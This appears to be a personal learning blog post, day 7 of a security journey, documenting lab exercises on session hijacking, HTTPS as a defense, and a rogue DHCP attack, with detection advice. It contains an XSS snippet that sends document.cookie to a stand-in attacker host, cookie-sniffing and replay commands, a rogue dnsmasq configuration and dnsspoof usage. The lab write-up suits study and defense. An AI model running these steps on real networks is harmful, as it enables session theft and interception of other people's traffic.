📍 Journey Navigation Prev: Day 6 — The Wiretap Protocol: Breaking LAN Trust | Day 1 | Day 3 | Day 5 | Day 6 | Day 7 |
Status: Day 7 of 90-day AI Security journey
Labs Completed: 21–22 (Session Hijacking + Rogue DHCP)
Where Yesterday Left Off
Yesterday, I became the network. I learned to lie to ARP caches, forge DNS answers, and sit silently between two machines that had no idea I was there.
Today, I used that position.
If Day 6 was about interception — getting into the stream of data — Day 7 was about exploitation — what you actually do once you're inside. I moved from wiretapping to impersonation. I stole a session without knowing the password. I proved why HTTPS exists by watching it break an attack in real time. Then I built a trap that made the victim choose me as their gateway — no manual spoofing required.
The theme of today is: identity is fragile, and the network was never designed to protect it.
Before the Lab: What Is a Session? (The Theory You'll Never Forget)
Before touching a single command, you need to understand what a session actually is — because until this clicks, the attack won't make sense at a deep level.
The Wristband Mental Model
Imagine a concert venue. You queue up, show your ID at the door, pay your ticket, and they put a wristband on you. For the rest of the night, you don't show your ID again. Security just checks the wristband. Wristband present = you're allowed in. No wristband = you leave.
That wristband is a session cookie.
When you log into a website:
- You prove your identity once (username + password)
- The server creates a random token — e.g.
ABC123XYZ— and stores it server-side linked to your account - That token is sent to your browser as a cookie
- Every subsequent request, your browser automatically attaches the cookie
- The server looks up the token, finds your account, and serves your data
The server never checks your password again. It just checks the wristband.
This is efficient. It is also the entire attack surface.
The Session Lifecycle
User logs in
↓
Server creates: session_id = "ABC123XYZ" → stored in DB → linked to user "admin"
↓
Server sends: Set-Cookie: session=ABC123XYZ
↓
Browser stores cookie
↓
Every request: GET /dashboard → Cookie: session=ABC123XYZ
↓
Server checks: "ABC123XYZ" → admin → serve admin dashboard
The weakness is the arrow between the browser and the server. If anyone in that path can read ABC123XYZ — they are admin. No password needed. The token is the identity.
The 4 Types of Session Hijacking (The Complete Theory)
This is the section most security blogs skip. They show you one attack and move on. But session hijacking has four fundamentally different mechanisms, and understanding all four tells you why each defense exists.
Type 1 — Passive Network Sniffing
What it is: The attacker sits in the network path and reads traffic as it flows by. No active interference — just listening.
The analogy: You're a postal worker who opens letters, reads them, and reseals them. The sender and receiver have no idea. You're not changing anything, just reading.
How it works:
Client → [HTTP request with cookie] → Network → Server
↑
Attacker reads
Requires: MITM position (ARP spoof) + HTTP (unencrypted)
Killed by: HTTPS — encrypts the cookie in transit, attacker reads gibberish
This is exactly what we did in Lab 21.
Type 2 — Active Session Hijacking (TCP Injection)
What it is: The attacker doesn't just read the session — they inject their own packets into an existing TCP connection mid-stream.
The analogy: You're not just reading the letter — you're intercepting it, adding your own lines in the middle, resealing it, and sending it on. Both sides think it's a normal conversation.
How it works: TCP connections use sequence numbers to keep packets in order. If an attacker knows the current sequence number (readable by sniffing), they can craft a packet that fits perfectly into the stream and inject commands as if they are the legitimate client.
Requires: MITM position + knowledge of TCP sequence numbers
Killed by: TLS (HTTPS) — sequence numbers inside encrypted tunnels become meaningless; injected packets fail authentication
Real-world context: This was a serious attack against Telnet and early SSH in the 1990s–2000s. Largely dead against modern HTTPS apps, but still relevant in IoT and legacy industrial control systems.
Type 3 — Cross-Site Scripting (XSS) Cookie Theft
What it is: Instead of being in the network, the attacker injects malicious JavaScript into the victim's browser that reads the cookie and sends it to the attacker's server.
The analogy: You can't intercept the armored truck (HTTPS) anymore. So instead you sneak into the recipient's house, wait until they open the letter, and photograph it over their shoulder.
How it works:
<!-- Attacker injects this into a vulnerable page -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
When the victim loads the page, their own browser runs the script, reads the cookie from memory, and sends it to the attacker. HTTPS is completely irrelevant here — the data is stolen before it ever reaches the network.
Requires: An XSS vulnerability in the target application
Killed by: HttpOnly cookie flag — marks the cookie as inaccessible to JavaScript. document.cookie returns empty. The script steals nothing.
This is why HttpOnly exists. Not to protect transmission, but to protect the cookie from the browser itself.
Type 4 — Session Fixation
What it is: The attacker doesn't steal a valid session — they plant a known session ID on the victim before they log in, then wait for the victim to authenticate with it.
The analogy: Before the victim gets to the concert venue, you sneak a fake wristband onto their wrist — one with an ID you already know. When they show their ticket and get verified, the system registers that wristband as authenticated. Now you walk in wearing an identical one.
How it works:
- Attacker visits the login page → gets a pre-auth session token:
session=XYZ999 - Attacker tricks the victim into using that same token (via crafted link:
https://bank.com/login?session=XYZ999) - Victim logs in — server authenticates the token
XYZ999without regenerating it - Both attacker and victim now share an authenticated session
Requires: A vulnerable app that doesn't regenerate session IDs on login
Killed by: Regenerating the session token on every privilege change (login, logout, role change). The old token is destroyed. The attacker's copy is worthless.
The Complete Picture
| Type | Where attack happens | HTTPS stops it? | Killed by |
|---|---|---|---|
| Passive Sniffing | Network wire | ✅ Yes | HTTPS |
| TCP Injection | Network stream | ✅ Yes | HTTPS / TLS |
| XSS Cookie Theft | Inside the browser | ❌ No | HttpOnly flag |
| Session Fixation | Before authentication | ❌ No | Token regeneration on login |
The single most important takeaway from this table: HTTPS only stops the first two. A developer who ships HTTPS but forgets HttpOnly and token regeneration has defended against the easiest attacks and left the cleverer ones wide open.
Lab 21 — Session Hijacking: The Password-Less Break-In
The Setup
On the Webserver, I created the simplest possible simulation of a logged-in user:
echo 'Logged in as: admin | Session: ABC123XYZ' > dashboard.html
python3 -m http.server 8080
This is all we need. The server doesn't care who asks — it just serves the page. The "authentication" is entirely in the cookie the client presents.
The MITM Position
With ARP spoofing from Day 6 running, I was already between the Client and the network. I started listening:
sudo tcpdump -i eth0 -A -l port 8080 | grep -i 'cookie\|session\|auth'
When the Client made a request with their session cookie:
curl -H 'Cookie: session=ABC123XYZ; user=admin' http://192.168.100.30:8080/dashboard.html
My terminal lit up. There it was, in plaintext:
Cookie: session=ABC123XYZ; user=admin
No encryption. No obfuscation. A complete, reusable identity token flying across the wire for anyone in the path to read. This is Type 1 — Passive Network Sniffing, exactly as described above.
The Replay: Impersonating the User
This is the moment that genuinely unsettled me. I didn't crack a password. I didn't bypass any login form. I just used the token I had captured:
curl -H 'Cookie: session=ABC123XYZ; user=admin' http://192.168.100.30:8080/dashboard.html
The server responded:
Logged in as: admin | Session: ABC123XYZ
The server had no way to distinguish me from the legitimate user. We were presenting the same credential. In the server's model, we were the same person.
The Three Minds View
Attacker: I don't need your password. I need your proof of password. The session token is that proof, and HTTP hands it to me in cleartext.
Developer: Sessions should never travel over unencrypted connections. Every cookie handling user identity should carry the Secure flag (HTTPS only), HttpOnly (inaccessible to JavaScript), and SameSite (blocks cross-origin leakage). These aren't optional hardening steps — they are the minimum viable protection.
Defender: Session hijacking leaves traces. Watch for the same session token appearing from two different IP addresses. Implement session binding to the originating IP. Rotate session tokens on privilege escalation. These controls don't prevent capture, but they make captured tokens short-lived and detectable.
The HTTPS Defense: Watching the Attack Die
The Question That Matters
If MITM is already established and I'm already capturing packets, does HTTPS actually stop me?
The answer is yes. And I wanted to see why with my own eyes.
How TLS Actually Protects the Cookie (The Theory)
Before running the lab, it's worth understanding why HTTPS works — not just that it does.
When a browser connects to an HTTPS server, they perform a TLS Handshake before any data is sent. Think of it as two strangers agreeing on a secret language before speaking in public:
Client → "Hello, I support these encryption methods" → Server
Client ← "Here's my certificate (ID card), let's use AES-256" ← Server
Client → [verifies certificate is legitimate]
Client → [generates secret key, encrypts it with server's public key]
Client → [sends encrypted secret key] → Server
Server → [decrypts secret key with private key]
Both sides now share a secret key nobody else has.
All further communication is encrypted with that key.
The critical part: even if an attacker is sitting in the middle, they cannot decrypt the traffic because the secret key exchange uses asymmetric cryptography — you can only decrypt it if you have the server's private key, which never leaves the server.
So when the session cookie travels inside an HTTPS connection, the attacker sees:
\x16\x03\x01\x02\x00\x01...
The wristband exists, but it's inside a locked safe the attacker has no key for.
Building the HTTPS Server
Python's built-in server doesn't support HTTPS natively on newer versions. I ran into ssl.wrap_socket() being removed in Python 3.12+. The fix was SSLContext — the modern, correct approach:
import http.server
import ssl
server_address = ('0.0.0.0', 8443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print("HTTPS server running on port 8443")
httpd.serve_forever()
I generated a self-signed certificate with openssl and had the server running on port 8443.
The ARP Spoof Debugging Loop
Here is where I hit a wall that turned into a deep lesson. My MITM was running. My tcpdump was running. But no packets appeared for port 8443.
I ran arp -a on Kali:
? (192.168.100.1) at 00:0c:29:18:5c:a0
? (192.168.100.30) at 00:0c:29:cf:b7:56
? (192.168.100.20) at 00:0c:29:7d:73:d3
Every entry showed the real MAC address of the target. My Kali MAC (00:0c:29:a7:b5:52) appeared nowhere. The ARP poisoning had silently failed.
The Root Cause: VMware's network adapter had Promiscuous Mode set to Reject. It was blocking the spoofed ARP packets before they could ever reach the target machines.
The Fix: Virtual Network Editor → Select VMnet → Promiscuous Mode: Allow All.
After that change, arp -a showed what it was supposed to:
? (192.168.100.1) at 00:0c:29:a7:b5:52 ← Kali MAC ✅
? (192.168.100.20) at 00:0c:29:a7:b5:52 ← Kali MAC ✅
The Real Lesson: This is not a lab lesson. This is a professional one. Attacks fail silently all the time — not because the technique is wrong, but because the environment is blocking a layer you weren't watching. Real penetration testers spend more time diagnosing environment issues than running exploits.
The "Aha" Moment
With MITM confirmed, I re-ran the capture on port 8443 and sent the same cookie-laden request from the Client — this time over HTTPS:
curl -k -H "Cookie: session=ABC123XYZ; user=admin" https://192.168.100.30:8443/dashboard.html
My tcpdump output:
\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03...
Not a single readable character. No cookie. No session. No identity.
| Test | HTTP | HTTPS |
|---|---|---|
| Cookie visible in tcpdump | ✅ Yes | ❌ No |
| Session hijack possible | ✅ Easy | ❌ Blocked |
| Packet data | Readable plaintext | Encrypted binary |
| MITM position required | ✅ | ✅ (but irrelevant) |
The insight: HTTPS doesn't stop you from being in the middle. It stops the middle from mattering.
Lab 22 — Rogue DHCP: Making the Victim Configure Themselves
Before the Lab: How DHCP Works (The Theory You Need)
DHCP is the protocol that automatically configures a device when it joins a network. Understanding its 4-step handshake is essential — because the attack exploits a specific gap in step 2.
The DORA Handshake
Every time a device joins a network, it goes through four steps — remembered as DORA:
D — Discover
Device broadcasts to the entire network: "I just joined. Is there a DHCP server here? I need an IP address."
Client → [BROADCAST] "DHCPDISCOVER" → Network
O — Offer
Every DHCP server on the network that hears the broadcast responds with an offer:
Server → "DHCPOFFER: Take IP 192.168.100.50, use gateway 192.168.100.1, DNS 8.8.8.8"
Client ← [receives offer(s)]
R — Request
The client picks one offer (typically the first one received) and broadcasts its acceptance:
Client → [BROADCAST] "DHCPREQUEST: I'm accepting the offer from Server X"
A — Acknowledge
The chosen server confirms the lease:
Server → "DHCPACK: Confirmed. IP is yours for 12 hours."
The attack surface is in the O step. There is no authentication on DHCP offers. The client picks the first offer it receives. If an attacker can respond faster than the legitimate DHCP server, their offer wins.
The Analogy That Makes This Stick
Imagine you walk into a new city and shout: "Who can give me directions to a hotel?"
The first person to answer — you follow them. You don't ask for credentials. You don't verify they're a real concierge. First answer wins.
A rogue DHCP attack is someone standing right next to you, ready to answer before anyone else, and giving you directions to their hotel instead.
The 3 Things DHCP Gives You (And Why Each Is Dangerous)
When you accept a DHCP offer, you accept three configuration values:
| DHCP Option | What it is | Attack use |
|---|---|---|
| IP Address | Your identity on the network | Attacker assigns IPs in their range |
| Default Gateway | Who forwards your traffic to the internet | Set to Kali → all traffic routes through attacker |
| DNS Server | Who resolves domain names | Set to Kali → all DNS queries answered by attacker |
Control the gateway + DNS = full MITM. No ARP spoofing required. No continuous poisoning. Just one DHCP response, and the victim configures themselves as a target.
The Attack
I installed dnsmasq on Kali and wrote a rogue configuration:
interface=eth0
dhcp-range=192.168.100.100,192.168.100.150,255.255.255.0,12h
dhcp-option=3,192.168.100.10 # Gateway = Kali
dhcp-option=6,192.168.100.10 # DNS = Kali
log-dhcp
Started the rogue server:
sudo dnsmasq -C /tmp/rogue-dhcp.conf --no-daemon
On the Client, I forced a DHCP renewal — simulating a device joining the network fresh:
sudo dhclient -r ens160 # release current lease
sudo dhclient ens160 # request new configuration
Then I checked what the Client had configured itself with:
ip route
cat /etc/resolv.conf
The default gateway was now 192.168.100.10. The DNS resolver was 192.168.100.10. The Client had voluntarily routed itself through Kali. No spoofing, no interception — the victim's own networking stack made the decision.
Combining with DNS Spoofing
With the Client using Kali as its DNS server, I layered in DNS spoofing from Day 6:
sudo dnsspoof -i eth0 -f ~/dns.txt port 53
Now any domain the Client queried returned an address I controlled. The full attack chain was running — and the only active tools on Kali were dnsmasq and dnsspoof. The MITM sustained itself automatically.
The Full Automated Attack Chain
Victim joins network
↓
Victim sends DHCPDISCOVER (broadcast)
↓
Kali responds faster than real router → DHCPOFFER (gateway=Kali, DNS=Kali)
↓
Victim accepts → configures gateway and DNS pointing to Kali
↓
Victim types "google.com"
↓
DNS query → Kali → dnsspoof answers → returns fake IP
↓
Victim's browser → fake IP → attacker's web server
↓
Victim sees convincing login page → enters credentials
↓
Attacker captures them
The victim's OS did the work. The victim's browser made the request. Every step looked completely normal from the inside.
The Real-World Connection: Evil Twin Wi-Fi
This is the technical foundation of the Evil Twin Wi-Fi attack that happens in coffee shops and airports every day.
When your phone auto-connects to "CafeWifi" and that network is actually a rogue access point:
- Your phone broadcasts DHCPDISCOVER
- The evil access point answers with rogue DHCP (gateway + DNS = attacker's machine)
- Your phone configures itself and starts routing all traffic through the attacker
- You open your bank app. The request path: Phone → Attacker → Real Bank
- If HTTPS with HSTS + certificate pinning: attacker sees encrypted garbage ✅
- If HTTP or a misconfigured app: attacker sees everything ❌
This is why your phone warns you about joining unfamiliar networks. It's not paranoia. It's the DORA handshake.
How to Detect and Defend Against These Attacks
After running the attacks, the defender mindset forces the question: how would a blue team catch me?
Detecting Session Hijacking
Behavioral anomalies: The same session token appearing from two different IP addresses within seconds. Legitimate users don't teleport. Flag and invalidate.
Geographic impossibility: Session from Mumbai at 10:00, session from London at 10:02. Physical travel is impossible. Force re-authentication.
Token binding: Cryptographically bind the session token to the TLS connection. A token stolen from one connection is unusable on another. (Token Binding RFC 8471 — not widely deployed but the correct long-term answer.)
Detecting Rogue DHCP
DHCP Snooping: Enterprise switches support a feature called DHCP Snooping. You designate trusted ports (where the real DHCP server is) and untrusted ports (everywhere else). Any DHCPOFFER coming from an untrusted port is dropped at the switch level before it reaches clients. The rogue DHCP server shouts its offer — and the switch silently discards it.
Monitoring for unexpected DHCP servers: Tools like dhcp_probe scan the network for DHCP servers and alert when a new one appears.
The attacker's reality check: In a properly configured enterprise network with DHCP Snooping enabled, this attack is dead on arrival. It works almost exclusively on misconfigured networks, small businesses, and open Wi-Fi — places where nobody enabled a switch feature that's been available for decades.
Reflections: The Architecture of Trust Collapse
Today I saw three different ways to steal an identity at the network layer, and what ties them together is a single idea: these protocols were designed for a cooperative world.
ARP assumes every device on the LAN is honest. DNS assumes the first server to answer is legitimate. DHCP assumes the first server to offer an IP is authorized. HTTP assumes the pipes it travels through are private.
None of these assumptions hold on a network where a single compromised or malicious device exists.
The Escalation Map
Day 6: Intercept traffic (ARP + DNS) — you can watch
Day 7 / Lab 21: Steal session tokens over HTTP — you can impersonate
Day 7 / Lab 21: Attempt the same over HTTPS — encryption stops you
Day 7 / Lab 22: Rogue DHCP — you don't need to intercept; the victim routes themselves to you
Each layer is a more sophisticated answer to the previous defense. HTTPS defeated passive sniffing, so the attack shifted to infrastructure manipulation — control the DHCP, control the gateway, and encryption becomes irrelevant because you're upstream of it.
The Mindset Shift
Day 6: I learned to tap the wires.
Day 7: I learned that sometimes you don't need to tap anything. You just need to be the first one to offer help.
The Core Realization: The most dangerous attacks don't look like attacks. A rogue DHCP server looks like helpful network infrastructure. A session replay looks like a normal authenticated request. The victim's own tools confirm everything is working correctly — because from their perspective, it is.
The best attacks work with the system's normal behavior, not against it.
Tomorrow — Firewall Analysis & Defense Engineering
Tomorrow I flip perspectives. Having spent two days building the attack chain end-to-end, I move into the defender's side: firewall behavior, traffic filtering, and detection engineering. Understanding how DROP vs REJECT works, how logging catches what firewalls block, and how blue teams detect the exact attacks I just ran.
The attack knowledge doesn't go away. It becomes the lens through which I understand every defense.
Day 7 of 90 | Labs 21–22: ✅ Complete | Session Hijacking (HTTP): ✅ | All 4 Hijacking Types: ✅ | HTTPS + TLS Theory: ✅ | VMware MITM Debugging: ✅ | Rogue DHCP + DORA Theory: ✅ | Tomorrow: Firewall & Defense Engineering 🔴
🔗 Related Posts
- Day 6 — The Wiretap Protocol: Breaking LAN Trust — The ARP + DNS foundation that today's session hijacking ran on top of
- Day 5 — HTTP, Reverse Shells & Three Minds — The three-perspective model applied to today's attack chain
- Day 4 — Nmap, Firewalls & the Attacker's View — First exposure to the network layer that today's labs weaponised
- Day 3 — From Theory to Packets — The lab network that all of these attacks ran on
- Why I'm Learning AI Security — The bigger picture behind the technical depth